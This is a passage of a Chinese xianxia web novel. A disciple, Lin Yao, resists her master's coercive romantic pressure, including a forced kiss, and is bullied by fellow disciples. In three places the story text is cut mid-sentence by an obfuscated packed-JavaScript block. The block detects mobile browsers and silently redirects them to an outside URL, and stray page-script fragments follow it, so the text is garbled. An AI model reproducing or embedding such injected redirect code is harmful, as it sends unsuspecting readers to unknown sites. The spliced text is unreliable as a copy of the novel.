宫玄烛听得心肝乱颤:“离开?你活疯了?好日子过够了?你这一走了之,尹星灯肯定追着我和陌菱刨根问底啊,就他那个德行,三两下问不出来准得抓狂,我俩还活不活了?” 林瑶期期艾艾道:“事出有因,我也别无他法。” 宫玄烛耸耸肩:“关键是你也走不了,你就试试看吧,不出三天老登肯定给你抓回来。” 林瑶微不可察地皱了皱眉,看样子想反驳几句但还是没说出什么,将包袱往肩上一搭是她最后的倔强。 “我真走了。” 宫玄烛敷衍地挥挥手:“一路顺风。” 宫玄烛回到星辰宫两个时辰不到,本来想问尹星灯关于阴桃花的事,谁料正主不在,只能在原地等着,闲得发慌,从墙头揪了一串绿得跟翡翠一样的葡萄喂商羊,那鸟儿嚼得满嘴流绿汤,白眼一翻不省人事了。 正在这时,大门哐当一下被人一脚踹开。 小白花让老壁灯拽回来了! 宫玄烛八卦的眼睛直冒火星子。 尹星灯仿佛没看见宫玄烛,面沉似水,拽着林瑶往正殿走,宫玄烛一来为自己的事操心,二来想替林瑶解围,刚想打个招呼:“师——” “没空!” 尹星灯先将“逆徒”推进去,随后一甩袖关上了正殿的大门。 门外宫玄烛气得咬牙切齿。 你是真该死啊老壁灯! 北极殿内。 尹星灯看着自始至终一言不发的林瑶,有些无可奈何,斟酌许久倒了两杯茶,收敛了一下怒容,尽量放缓语气:“能跟为师好好谈谈吗?” 林瑶垂着头,漫咬红唇,最后还是决定打开天窗说亮话,语气平静道:“如师父所见,我想离开一段时间。” 尹星灯按在桌面上的手瞬间收紧,盯着林瑶许久,眸中似有火焰跳动,声音冷硬:“你敢再说一遍?” 林瑶脊背挺得笔直,直视着尹星灯,一字一顿:“我说,我要走,特来向师父辞行。” “我不准!” 桌上茶盏被衣袖扫落,摔得粉碎,茶水溅得到处都是。 尹星灯怒喝一声,又有些后悔,担心自己吓到林瑶,于是背过身去,平复呼吸,沉声道:“瑶儿,为什么想着离开呢?在这星辰宫中可是遇到什么不顺心的事了?” 林瑶:“未曾,弟子只是想离开一段时日,在外面散散心。” 尹星灯满腹狐疑,却不敢多问,回过身来笑意山温水暖:“瑶儿是觉得在玄都待闷了吗?既然如此,为师带你出门游历一番可好?凤城雕梁画栋、流光宗水天一色、龙女岛闻名遐迩,瑶儿想不想去游玩一番?” 林瑶摇摇头,一声不吭。 “再者西北梵净十二峰得天独厚,景色旖旎,为师与其中几位峰主也是故交,瑶儿可想去看看?” 林瑶还是摇头。 “那,瑶儿可愿随为师去洛都参加洛神节?蓝情浅蓝宫主你还记得吧,你十一岁的时候,随为师去过潮汐宫,蓝宫主很是喜欢你呢……或者是雾山魔域,只要瑶儿想去,为师随时奉陪。” 林瑶等他说完,才开口道:“我只想一个人出去走走,仅此而已。” 她特意强调了要“一个人”。 尹星灯的目光像看着一个不听话的孩子:“瑶儿,别再任性了,外面不安全,你孤身一人出去,为师如何放心得下?” 林瑶蛾眉紧蹙,面带愠色,强压着怒火:“我已经长大了,可以保护好自己,再者说了,玄烛都可以独自前往樱都那么危险的地方,为何我只是出去走走,师父从来都不答应?难道要我一辈子待在星辰宫?” 尹星灯似乎有些生气了,语气依旧淡然道:“你们不一样,玄烛背后有整个宫家替她撑腰,再者她任职少祭司,从小混迹官场,处事圆滑、八面玲珑,她出去为师自然放心,可瑶儿你不同,出了星辰宫,事事不由己,为师鞭长莫及,你岂不是要吃亏受难。” 林瑶听他这么说,心下有几分酸涩,但还是坚持最初的想法:“可是,这些我迟早都要经历,师父不可能护着我一辈子。” 天色渐暗,尹星灯回身去点蜡烛,眸中闪过一丝偏执的光芒:“为什么不可以呢?只要有为师三寸气在,便能护你一世无忧。” 林瑶见他总是闪烁其词、不肯直面问题,气得脸色发白,提高了嗓音:“师父,说来说去你就是不肯让我离开,” 她攥紧了拳头,下定了决心:“反正我去意已决,能走一次就能走第二次、第三次,师父要是不嫌麻烦,尽管来找我。” 尹星灯手一抖,烛火险些烧到了一角衣袖,面对钟爱的徒儿,终究是舍不得放狠话,谁知那向来乖巧的徒儿先把狠话撂下了。 尹星灯回眸笑道:“你确定?” 林瑶重重点一下头:“确定!” 尹星灯抬头轻抚下巴,眯细了眸子,随后噙笑道:“既然如此,那就答应为师一件事,为师便应允让你独自去游历,怎么样?” 林瑶心下一喜,以为尹星灯终于松口了,眸光发亮:“什么事?” 尹星灯姣好殷红的薄唇一张一翕,含笑说了四个字,林瑶感觉耳膜在震颤,仿佛一瞬之间失聪了,震得她七荤八素,天旋地转,用复杂的目光看向尹星灯。 “什么?” 尹星灯欺近,长臂一伸将她困在桌案之间,微风徐来,几根垂落的银发拂过林瑶的脸颊,她霎时间面似火烧,那人还火上浇油:“为师说的话你没有听到吗?只要你答应嫁给为师,你想去哪里,去多久都可以。” 疯了?你要不要听听你在说什么? 林瑶侧过头去,磕磕绊绊,声如蚊蚋:“师父莫要再打趣弟子……” “为师对你是一片真心,若有半分虚情假意,死无葬身之地。” 尹星灯看着她渐渐绯红的脸颊,心下越发欢喜,伸手轻轻绾起她垂落腮边的发丝,顺势用手掌盖住了她的视线,接着双眸微眯,吻上企及已久的娇艳红唇……冰凉……甜软……跟想象中的一样……尹星灯轻叹、阖上微饧的双眼,舌尖轻轻点过那片柔软的花瓣,紧紧抓着林瑶的衣衫仿佛徒握着一个虚无的美梦。 林瑶反应过来猛地推开了他,夺门而逃,只觉得五脏六腑翻江倒海,薄唇轻颤,蹲在树下干呕起来,全身都不自在,寒毛倒竖,怒不可遏,师徒往日相处的每一个细节都变得面目可憎起来。 等那道纯白的身影摇摇晃晃离开之后,尹星灯才从廊柱后走了出来,清俊的脸隐没在浓重的夜色里,扶着栏杆的手越收越紧,手背上青筋暴起,黑暗中传来压抑嘶哑的笑声。 林瑶一连躲了好几天,最终还是在画室让尹星灯给逮住了。 他自身后轻轻环住她的肩,淡淡的酒气萦绕在方寸天地,林瑶心跳如擂鼓,手中衣纹笔一抖,雍容华贵的仕女腮边多了一道黑线…… 林瑶眉头跳了跳,有气没地方撒,委委屈屈咬住了嘴唇。 “是为师不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他嗓音干涩,缓缓念着她的名字,渴望得到她的注视,哪怕那眸光里有的只是敷衍的尊敬,他感觉自己像是行走在无边无际的黄沙里,林瑶就是可望不可及的海市蜃楼,他知道,往前走只是飞蛾扑火,可是还是义无反顾。 他盯着面前白梅素雪般的人,喉咙越发刺痛,在他所有徒弟里,她看似秉性柔弱,最是心慈面软,却也是最为固执的一个。 他不知道,这般柔弱的躯体,哪来那么大的勇气,车马惊乱之中,她敢抱着行动不便的妇人跪在街心,他惊得魂飞天外,好在有惊无险。 她那时几岁来着?似乎及笄不久,鬓发散乱,颤抖不止,紧闭的眼睫轻轻颤抖,睁开眼看到挡在面前的他时,眼眸澄亮,露出了如释重负的笑意。 那时,他若没有回头,或许就不会弥足深陷。 可是一切冥冥之中早已注定,他知道,她不再是他的徒弟了,是命中最重要之人,无数个夜里,他也垂死挣扎过,可是爱了就是爱了,改不掉、抹不去,一颦一笑就在他眼前,千年道心因她而碎,从未后悔。 如今,他仿佛陷入了更深的梦魇里,他听见自己说话了,嗓音沙哑地仿佛含着发苦的血。 “瑶儿,无情道有什么好?这世间当真没有值得你留恋的吗?” “我只为自己的心。” “那为师呢?你对为师当真就没有半分情意?” 尹星灯抓住了她冰冷的手,仿佛抓着最后的救命稻草:“瑶儿,你看看我!我可以为你放弃千年的道业,保你在人间荣华富贵一生,你别再求所谓的大道无情了,成神有什么好?你难道想永生永世孤苦伶仃吗?” 林瑶:“昨贫今富人劳碌,春荣秋谢花折磨。富贵安逸非林瑶所愿,郎情妾意更非我所求——” 尹星灯打断她,冷笑道:“林瑶,这不过是你拒绝我的借口罢了,你才多大的年纪?为师不信你已经看破了红尘,我们走着瞧。” 16. 欲戴王冠,必承其重 自从上次不辞而别被尹星灯光天化日从外面拽回来,林瑶就发现星辰宫的气氛有些怪怪的,藏书阁里本来有两三个师妹在挑书,她一进去那几人就推推搡搡、挤眉弄眼,不一会儿全走干净了。 琴室里人声鼎沸,距离授课还有一段时间,弟子们叽叽喳喳不知在聊些什么。 “不愧是宫里出来的,倒是得了几分真传,这手欲拒还迎玩得倒是纯熟。” “到底真的假的?不太可能吧?” “我亲眼所见!两人独处一室,也不知道做什么了……” 林瑶推门进去,立刻鸦雀无声,个个偷眼看她,林瑶轻轻一笑,边收拾桌面边随口问道:“聊什么呢这么开心?” 不出意外地没人理她,不多时尹星灯进来了,琴室重归平静,一众弟子个个坐得笔直,尹星灯果然是先看向了林瑶,朝她微微一笑,林瑶连忙垂下了眼,明明自己没有做错什么,却意外地有些心虚,手心里起了一层汗。 尹星灯正色,背着手在室内缓缓踱步:“前几日为师布置的那首叠翠,不知各位练习的怎样了?” 此话一出个个如坐针毡,垂低了脑袋,生怕被师父忽然抽到。 “呵,那好,为师随便点一个人打个样吧。” 众弟子仿佛等待死亡之刃落在脖颈上的刑犯,个个面如土色,似乎连呼吸都会加重自己被抽中的概率,连大气都不敢喘了。 尹星灯的眸光在众弟子间转了一圈,最终落在白衣如雪的少女身上,她居然还敢发呆,怔怔望着窗外的如盖海棠、冉冉芭蕉。 “林瑶。” 她吓了一激灵,但反应也算快,答了个“是”字,刚一抬手,眸光微怔,这手滞在了半空,没有落下去。 尹星灯也是心下起疑,林瑶素来勤奋,别说布置一首曲子,就算三首她都能倒弹如流,今天这是…… 走近一看才知原委,林瑶那把琴不知何时断了一弦,过堂风一吹,那根琴弦飘飘摇摇,如同扯断的风筝线。 林瑶也是一头雾水,昨天晚上她还调过琴弦,怎的今日就断了?心里这般思索着,嘴上连忙道歉:“师父,林瑶知错。” 尹星灯有规定在先,星辰宫弟子上课之前得先准备好应用之物,进琴室前检查好琴,入画室后调好颜料,不可懈怠。 室内窃窃私语声搅得尹星灯心烦意乱。 几个坐在林瑶身后的女弟子交头接耳。 “她琴弦断了……按宫规不是要出去罚站吗?” “那可是林瑶,师父的得意弟子,怎么舍得让她去罚站?” “凭什么啊……” “肃静。” 尹星灯一发话室内立刻安静如鸡。 如今众目睽睽,尹星灯想袒护都不行,总不能朝令夕改,搬起石头砸自己的脚,负手而立,冷声道:“出去,这堂课你不用听了。” 林瑶起身离座,微微朝他一拱手,乖乖退了出去,玉面绯红,低头咬着唇,感觉眼前模糊一片,立刻仰起头望着天边浮云,不让眼泪掉下来,心里不停安慰自己。 本来就是你的错啊,有什么可委屈的。 一个时辰过去,尹星灯从琴室出来后,弟子们才陆陆续续离开,几个女弟子手挽手并排从廊檐下走过来,不知是不是不小心,撞了林瑶一下,她本就精神恍惚,这一下差点摔倒。 “哟,不好意思啊师姐,你好好地站这儿干什么?哦,忘了,大师姐刚才被师父罚站了,瞧瞧我这记性。” “你!”林瑶心中怒气上涌,看着那三人远去的背影,终究还是没说什么,轻轻吸了口气。 君子无德怨自修,事情闹大了反而对我更不利。 这样想着,她穿过林荫小路打算出门走走,午后十分安静,无人打扰,漾月池上芙蓉堆累、碧浪千顷,立在池边静静看了一会儿,又勾起了她作画的心思,将上午的委屈忘了大半儿,返回画室准备拿画布和颜料,一桶液体劈头盖脸泼了过来,林瑶下意识拿手去挡,觉得衣袖沉甸甸地往下坠,睁眼一看,衣服上花红柳绿全是颜料,面前站着几个女弟子。 “不好意思啊师姐,没看到你过来,哎呦,衣服都弄脏了,要不脱下来我帮你洗洗?” “无妨……” 林瑶转身才走出去几步,听得真而切真。 “你胆子可真大,万一她去跟师父告状怎么办?你可吃不了兜着走。” “哼,谁怕谁啊,她自己心里有鬼,才不敢戳破这层窗户纸呢,事情闹大了看看谁会身败名裂。” “林瑶?我的天,你怎么呢?掉染料缸里了?” 林瑶走在路上魂不守舍,听到对面有人说话吓得一激灵,看到迎面而来的宫玄烛有些不知所措,微微扯动嘴角,笑的比哭的还难看:“出了点意外……” 一件外袍披到了她身上,对方拍一下她的肩膀:“慢走不谢啊,好人好事投我一票就行。” “玄烛……”林瑶心中仿佛打翻了五味瓶,正想说些什么,那人已经大步流星地离开了。 她释然一笑,遥望着那道远去的玄衣身影,这个世间有人落井下石,有人隔岸观火,但也有人洒脱不羁、因果福祸只做等闲看,曾几何时尹星灯也说过,宫玄烛的心境、悟性连他这当师父的也窥不破,虽然修为远不及他,但心境恐怕足以比肩化羽修士。 何时我也能心如止水,八风吹不动,端坐紫金莲呢? 林瑶回房间换好衣服,将自己被颜料污染的白衣在院子里付之一炬,宫玄烛那件外袍却不愿烧掉,虽然对方肯定不差这件衣服。 鲛绡不同于寻常布料,沾上颜料极难清洗,林瑶双手浸在冷水中泡得发红,小心翼翼洗了好久却仍然效果不佳,刚想拿刷子去刷洗一下,冷不防双手被身后一人紧紧握住,温热的呼吸喷洒在她脸上。 “你在做什么?就因为上午罚了你,你便这般不爱惜自己,这双手要是冻坏了,岂不是为师的罪过?” “师父,您先放开……”林瑶不由自主望向了敞开的院门,生怕被别人看到。 感觉到她的挣扎,尹星灯搂得更紧,半开玩笑半是认真道:“怕什么?你我之间更亲密的事都做过了还怕这个?还是说瑶儿害羞了?” 林瑶只觉得一口气上不来,身子微微晃了晃,若不是尹星灯抱着,她可能会摔倒在地,眼泪哗一下漫出眼眶,尹星灯见状吃惊非小,意识到玩笑开得过火了,手忙脚乱去给她擦眼泪,林瑶挣开他退出了好远,心里越发寒冷,看看这间院子,这座如同牢笼般的星辰宫,意识到,这地方不能再待下去了。 这次,就算不是为了陌菱,她也必须要走。 她不想伤害到别人,但也想保护好自己不受别人的伤害。 “瑶儿,为师不是故意的,你能原谅为师吗?” 尹星灯还站在原地,像个做错事的孩子,可怜又可恨。 林瑶想快点打法他走,摇摇头,三两下抹干净自己的脸:“我没事了……” “真的吗?瑶儿,你今天很不对劲,琴是怎么回事?这衣服又是怎么回事?” “没什么,琴是年久失修,衣服是我不小心弄脏的,师父,天色已晚,您留在这里恐怕不妥,有什么事明天再说吧。” 林瑶疲惫至极,练上两个时辰的剑都不会这么累。 尹星灯正欲说些什么,看向林瑶的目光忽然一颤,几乎是脱口而出:“瑶儿,你这心境似乎又进益了。” 林瑶也是一愣,万万没想到升阶来的这么突然。 尹星灯心里也是高兴:“把手伸出来,为师替你看看。” 关乎修行大事,林瑶也不再顾及许多,果然伸出了手,尹星灯握了她左手寸关尺脉,认真查看一遍后,微微噙笑:“果然如此,修为进阶慕雅初期,心境进升至[君子无德],我的瑶儿,最近可是受什么打击了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489949|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“未曾……” 见林瑶抽回了手,尹星灯也不恼,依旧微微含笑,眸光不乏赞许之色:“瑶儿近来修行很是刻苦,为师深感欣慰,不过呢,修行一事最忌急功近利,一切顺其自然就好。” 林瑶见他忽然讲起了修仙一道,一边听得认真一边乖乖应是。 尹星灯眸色微动,夹杂些许狡黠,忽然道:“入道不难,难在证道,其实为师觉得,以瑶儿的心性、资质,更适合修逍遥道,你说呢?” 林瑶果断摇摇头,一脸坚定:“弟子还是想入无情道。” 尹星灯连忙道:“无情道修行不益,古往今来失败的案例比比皆是,远的不说,近的就有莘梓夏、湛轻尘等辈,前车之覆后车之鉴,你何苦执着于此道?” 林瑶反驳道:“可是潮汐宫的蓝情浅前辈不就成功了吗?” 尹星灯有些头疼:“那只是个例,万中无一。” 林瑶点点头,小声道:“焉知我不是下一个个例。” 两人聊到此处,小仙童匆匆忙忙进来,给尹星灯深施一礼,急忙转向林瑶:“大师姐,娘娘懿旨传您即刻入宫,车驾已经在外面等候了。” 林瑶见状连忙随小仙童往外面走。 尹星灯在后面忙嘱咐道:“乖徒,路上小心,为师跟你说的一定要好好考虑啊!” 星辰宫离皇宫并不远,一盏茶的功夫便到了,林瑶由宫人引着很快到了桐华宫,通报之后才得以进去。 林瑶很快发现了不对劲之处,皇后宫中似乎有些阴气森森,她的修为刚提升了一个境界,感官似乎也更为敏锐了。 幔帐层层掀开,林瑶见到了雍容华贵的长姐,也是当今的皇后,立刻屈膝下拜,皇后急忙令人扶起。 “瑶儿来了,快坐,这里没有外人,自家姐妹不必拘束。” 皇后身怀六甲,所以去了簪环首饰,发髻松松挽着,小腹高高隆起,她斜倚在芙蓉榻上,腰后垫了三四个软枕,脸色有几分蜡黄。 林瑶谢座之后有些惭愧:“本应早些来觐见娘娘的,谁知琐事烦乱竟然耽误了,还望娘娘恕罪。” 皇后轻叹道:“修仙一途清苦异常,你自然也是不容易的……国师待你如何?” 说者无心听者有意,林瑶不由得心跳加速,一抹红晕自脖颈蔓延上来,急忙道:“师父平时自然很是关心我……” 就是有些关心过头了。 皇后轻轻一笑,笑意却不达眼底。 林瑶察言观色,试探着问道:“娘娘,观您神色萎靡,可是凤体欠安?” 皇后长叹一声,示意左右推下,宫女依次出去关上了殿门。 皇后神色忧郁:“既然你看出来了,我也就照直说了,这次传你入宫其实也是为这事,你身为国师的弟子,想必也能帮我解惑。” 林瑶连忙道:“娘娘请讲,有用得着林瑶的地方,林瑶定赴汤蹈火。” 皇后直直看着她,幽暗的眸光仿佛两道深不见底的漩涡:“瑶儿,你会扶乩请仙吗?” 林瑶摇摇头:“娘娘恕罪,林瑶资历尚浅,虽然也跟师父学过此道,却未曾亲身试验过,恐怕不能胜任,敢问娘娘可是遇到什么棘手之事了?” 皇后沉默良久:“这可如何是好……” 林瑶想了想:“娘娘若要扶乩请仙,不若宣少祭司进宫。” “宫三小姐?她,可靠吗?” 林瑶点点头:“林瑶可以作担保,此人虽放荡不羁确有真才实学,娘娘若有意,林瑶可去先与她交涉。” 皇后默然良久,不自觉摆弄着一串玉珠:“再说罢……” 林瑶轻咬下唇,踌躇片刻还是开口问道:“娘娘,您身怀有孕,还是要多保重身体,若是有了烦心事可与林瑶说说,林瑶定守口如瓶。” 皇后感激地看了她一眼,到底是同胞姐妹,除了她在这深宫里再无第二个可信之人。 …… 17. 有被为师感动到吗 两个时辰后,林瑶脚步虚浮地出了桐华宫,暮色渐和,几点残星悬在天边,一线晚霞犹堆叠在山顶,似乎一眨眼就会消失。 宫墙之上绘了不少壁画,据说是三百年前的古人所作,纵使有专人打理,壁画还是剥落侵蚀了许多,今日这些都是当代人描补上去的,看着不尽人意。 林瑶驻足在天龙八部前看了许久,正出神间忽听一声轻咳。 接着是尖细的嗓音喊喝一声:“大胆!见了贵妃娘娘何不下拜?” 林瑶侧目看去,宫灯摇曳,宫女太监簇拥着一宫装美人正款款行来,那美人面若桃李,银红色山河社稷裙熠熠生辉,眉梢眼角虽然挂着笑意却不达眼底,那笑容如同冰水直渗入人的骨子里。 林瑶回首微微欠身施礼,恭敬却不谦卑:“星辰宫弟子林瑶,见过贵妃娘娘。” 苏贵妃盯着面前白衣如雪的少女,微微颔首,朝身边太监使个眼色。 大太监会意立刻斜乜起两只死鱼眼,满脸褶子堆叠在一起,仿佛一尊巡海夜叉,手中拂尘冲林瑶一指大放厥词。 “大胆道姑!居然敢冒犯贵妃娘娘!” 说着两个宫女已经撸胳膊挽袖子、瞪着眼睛冷笑着围堵上来,一左一右抓住了林瑶的手臂。 林瑶倒也不惧,按理来说制服几个凡夫俗子易如反掌,可是毕竟是在宫里,一来要顾及长姐,二来要顾及尹星灯,她思索片刻仰起脸问道:“敢问贵妃娘娘,林瑶是哪里得罪了您?” 那领头的大太监嗓音尖细,颐指气使道:“大胆刁民!还敢大言不惭,你可知你冒犯了贵妃娘娘的名讳!” 说着这老太监面色一转,仿佛变戏法似的,满脸堆笑讨苏贵妃的示下,苏贵妃将脖子仰得高高的,拿鼻孔对着人,眼皮微微阖了一下。 那大太监立刻转过头来,恢复了黑如锅底的脸色,手中拂尘一甩指向林瑶:“咱家恕个罪说,贵妃娘娘名讳里就有瑶字,你屡次冒犯,该当何罪!” 林瑶听了缘由简直气不打一处来,嘴角勾起一丝冷笑:“普天之下叫林瑶、苏瑶的也太多了些,贵妃娘娘还要贴出告示让大家全改名不成!” “说得好!” 此时天已经完全黑透了,两侧宫灯都亮了起来,空旷宫道中忽然传出一个男人的声音,惊得双方都向后看去,只见暮色苍茫中逐渐走出一人来,身高八尺有余,暗紫色长袍垂曳及地,拖尾上星纹流转、银光如水,宝蓝底银丝窄抹额勒过额头,束着如悬泉瀑布般垂泻近膝的银发,观其面容,清贵中投射出拒人千里之外的冷寂,独独望向林瑶时冰河解冻、春风化雨。 苏贵妃压下眼底的惊艳,嘴角勾起一丝冷笑:“国师大人,深夜进宫恐有不妥吧?” 虽然是质问的话,但语调稍显柔和,俨然没有责问林瑶时那般咄咄逼人。 尹星灯只顾看着林瑶,当然那两个宫女早就吓得松开了手。 “瑶儿,怎的耽误这么久?事情都办妥了就随为师回去吧。” 林瑶再不好多说什么,点点头随着尹星灯往外面走去,身后传来苏贵妃尖锐刺耳的声音。 “尹星灯!你如此无视宫规,冒犯本宫,莫非是恃才傲物,觉得陛下不会降罪于你?” 眼看着那两人的身影渐渐远去,苏贵妃的脸越涨越红,羞愤交加,血色几欲破皮而出,玉手死死绞着手里的鲛绡手帕,浑身颤抖。 大太监立刻献殷勤,连声劝慰道:“娘娘息怒,尹国师是开国功臣,辅佐历代帝君——” “闭嘴!” 苏贵妃一对削肩微微颤动,几乎咬碎了银牙,目光死死盯着那师徒二人离去的方向:“动不了尹星灯,难道本宫还收拾不了那个林瑶吗?走着瞧。” 想了想她又嗤笑道:“那个尹星灯,不过是陛下养的一条狗,君要臣死,他还能忤逆犯上不成?” 大太监不敢再搭话,心道:他还真的会,当今陛下小时候被国师指着鼻子骂,琅嬛没墨玉沉可以,没尹星灯一天都不行,这国师一个不高兴转头就奔别的地方去了,岂不是要了琅嬛人的命? 尹星灯在前面走着,林瑶在后面跟着,出了宫门后道路昏暗,林瑶连忙祭出本命法器照亮,尹星灯微微弯起嘴角。 “魂灯是让你这么用的?” 林瑶心道:我天天这么用,拿它照亮比蜡烛好多了。 “师父这么晚进宫可是陛下传召吗?” “你猜。” 林瑶无比真诚:“我猜不到。” 尹星灯在心底叹了口气,当初给林瑶起名字没起对,害她现在像个小木头,要是取成灵瑶就好了,定是乖巧又机灵的。 面对这种不开窍的人,当然得用非常手段,于是义正词严、斩钉截铁道:“为师自然是为了你,进宫许久未归,为师放心不下,瑶儿有被为师感动到吗?” 身后许久没发出动静,半晌才听得一句细弱蚊蚋的“有劳师父挂念”,林瑶轻轻吸了口气,似乎是咬到了舌头。 “这就完了?” 林瑶猛一抬头,见尹星灯停住了脚步,继而转过身来,她也只好停下。 “瑶儿,时辰还早,我们去那边坐坐吧,为师为了等瑶儿,可是晚饭都没吃呢。” 这么一说林瑶自然不好拒绝,总不能说:夜宵吃多了影响身体健康,少吃一顿无伤大雅。 唯唯诺诺跟着尹星灯上了朱红小楼,临窗坐下,二楼雅阁窗户半开半合,清风徐来泛起丝丝凉意。 林瑶心事重重,想着皇后的病症暗自出神,也没注意尹星灯点了些什么菜,过了大概一盏茶时间,菜肴陆陆续续上齐了,三五碟小菜摆满了桌子,倒都是林瑶素日爱吃的,中间一个陶瓷罐盖着盖子,小孔里徐徐冒着热气,大概是一盅什么汤。 林瑶站起身来,微微俯身拿着干净的棉布掂着陶罐的盖子,轻轻掀起搁置一边,拿起汤勺替师父盛了一碗,随着瓷勺里的白汁浓汤渐渐滑入汤碗之中,勺子里有一团白花花的东西噗呲一下滚落碗里,在勺子里是一团,跌进碗里可就散开了,又白又细又长的一条……林瑶左手哗啦一抖,手中汤碗跌落摔在地上粉粉碎,那里面的东西看得更加真切,一条小蛇……煮得发肿发烂……仿佛一截炖坏的萝卜…… 林瑶一转身忍不住干呕起来,直吐得搜肠刮肚、面红耳热,回首就见尹星灯正笑眯眯地望着她:“瑶儿这是怎么呢,一碗蛇羹而已,怎么吓成这样了?” 林瑶见他从容不迫,从陶罐里又舀起一勺汤来……林瑶简直不敢再往下看,刚眨了一下眼,她就整个人僵住了,对面坐着的还哪里是师父,居然是一条大快朵颐的黑紫色蟒蛇,尖尖的三角脑袋足有水桶大小,脑袋上是一条条银白色的暗纹,值得注意的是它脖颈处还裹着暗紫色的星纹长衫…… 这。 师父是妖?还是说,今天来接我的人根本不是师父? 林瑶腿已经软了,大脑失去了思考的能力,眼睁睁看那条巨蟒慢慢抬起头,金色的竖瞳望向自己,她却连拔腿就跑的力气都没有。 那条蛇好像是在笑,嘴角渐渐咧开,忽然之间脑袋升高三尺之多,它站起来了,几乎顶满了整个房间,紫色长尾逶迤拖地,摇摇晃晃朝林瑶游弋过来。 “瑶儿!瑶儿!” 耳畔传来忽远忽近的呼唤声,眼前骇人的景象如同破碎的镜子哗然幻灭,林瑶猛一睁眼,烛火昏暗中看到眼前一张放大的人脸,熟悉的眉眼、绛紫色衣衫…… “啊!” 林瑶几乎是惨叫一声,两眼一翻险些昏厥在地,尹星灯吓坏了,急忙伸手想去扶一把,谁知林瑶仿佛见了鬼似的,连滚带爬往床角缩,现在这个距离尹星灯不上床就够不到她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489950|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她惊慌如此,情知不能操之过急,于是温声细语地安慰道:“瑶儿别怕,可是又梦魇住了?你睁眼看看,我是师父啊。” 林瑶将耳朵捂了起来,屈着双膝缩在床角,将脸埋在膝盖上,整个人似乎都陷入了惊恐的泥潭之中,不愿再说一句话。 她现在也明白过来自己刚才是在做梦,按理来说普通人在睁眼那一刻就会彻底清醒,区分开梦境与现实,顶多恍惚一阵也就忘却了,但林瑶的梦境向来是十分逼真,而且她总是不知道梦是由何时开始的,仿佛跟现实接轨了,导致她一度精神错乱,正常人可能需要一炷香时间就能缓过来,那么林瑶就必须要多上三四倍的时间。 “师父,我没事了,您早点去歇息吧……” 林瑶抬起脸,面如金纸,双目发眩,尹星灯如何放心得下,温声问道:“瑶儿别怕,为师会一直陪着你,跟师父说说,梦见什么了?说出来就不怕了,好不好?” 奈何林瑶一瞥见他那身紫袍就想起了那条紫黑色蟒蛇,继而勾起了更加令人窒息的梦境,她不敢再往下想,一个劲儿地摇头。 尹星灯渐渐有所觉悟,不可置信道:“这次你梦魇中的鬼怪,难道是我?” 一片死寂,林瑶瞳孔涣散,仿佛又陷入了更深的回忆。 “该死……” 尹星灯低低咒骂一句,却也颇感无力,他纵有通天彻地的本事,却改不了爱徒的命格,林瑶的生日不好,从小就体弱多病、梦魔缠身,能好好睡一觉的日子屈指可数,随着她一日日长大,梦魇越来越频繁,好像一次比一次厉害,照这样下去,怕不是迟早要疯了…… 看得出来,她困得睁不开眼,却又不敢再轻易入睡,尹星灯不免轻叹:“睡吧,为师就在这里。” 无论他怎么劝说,林瑶还是不肯再睡,一个不肯睡觉,一个就不肯离开,面对面坐到了破晓时分,曙光透过窗棂纸,驱散了黑暗中的阴森诡异。 林瑶恍恍惚惚下了床,有些头重脚轻,却拒绝尹星灯的搀扶,自顾自走出房间,身上被人披了一件斗篷,那人贴心地将她的长发托到衣领外面理顺了。 “早上寒气重,你本就体弱,这又是何苦?” 两人一前一后走上了山道,一路无话,抵达山顶时夺目的日光自东山升起,顷刻之间万丈光芒洒遍大地。 尹星灯看着笼罩在阳光下的林瑶,嘴角微微泛起一丝笑意:“瑶儿,想看日出的话,下次为师带你去太曦峰可好?” 林瑶却忽然道:“昨晚那个,不是我的梦魇。” “什么意思?” 尹星灯心头一紧,隐隐预感到有不好的事发生了。 “跟皇后有关?” “是,娘娘说,她自身怀有孕以来,时常梦魇,梦境千篇一律,全跟蛇有关,民间老人常说,梦见蛇是要生男孩,起初娘娘惊吓之余还有些高兴,可是慢慢地,她就发现事态有些严重……娘娘现在寝食难安,又不好对陛下明说,迫于无奈才找到了我——” “所以你一不做二不休,直接把她的梦魇转移到自己身上了?” 林瑶还未答话,尹星灯已经气得脸色发白,抬起手指着林瑶,又忿忿甩开袖子。 “林瑶啊林瑶,你都自身难保了还需要雪上加霜吗?我……我该说你什么好,你可知再这样下去,等待你的会是什么……” “我知道师父担心什么,但是不会,我分得清。” 她静静凝望着远处夺目的一轮金乌,日光沐浴下的玄都渐渐苏醒,炊烟袅袅下的是茶坊酒肆,街上零零星星有挑担子的商贩。 西北边山景旖旎,层峦叠翠隐逸在波澜壮阔的七彩雾气之中,仿佛一幅宏伟巨制,令人心驰神往。 尹星灯望着她出神的模样,黯然长叹,虽不知她前路如何,但有一点是肯定的,他会陪她走下去。 18. 君子动口不动手 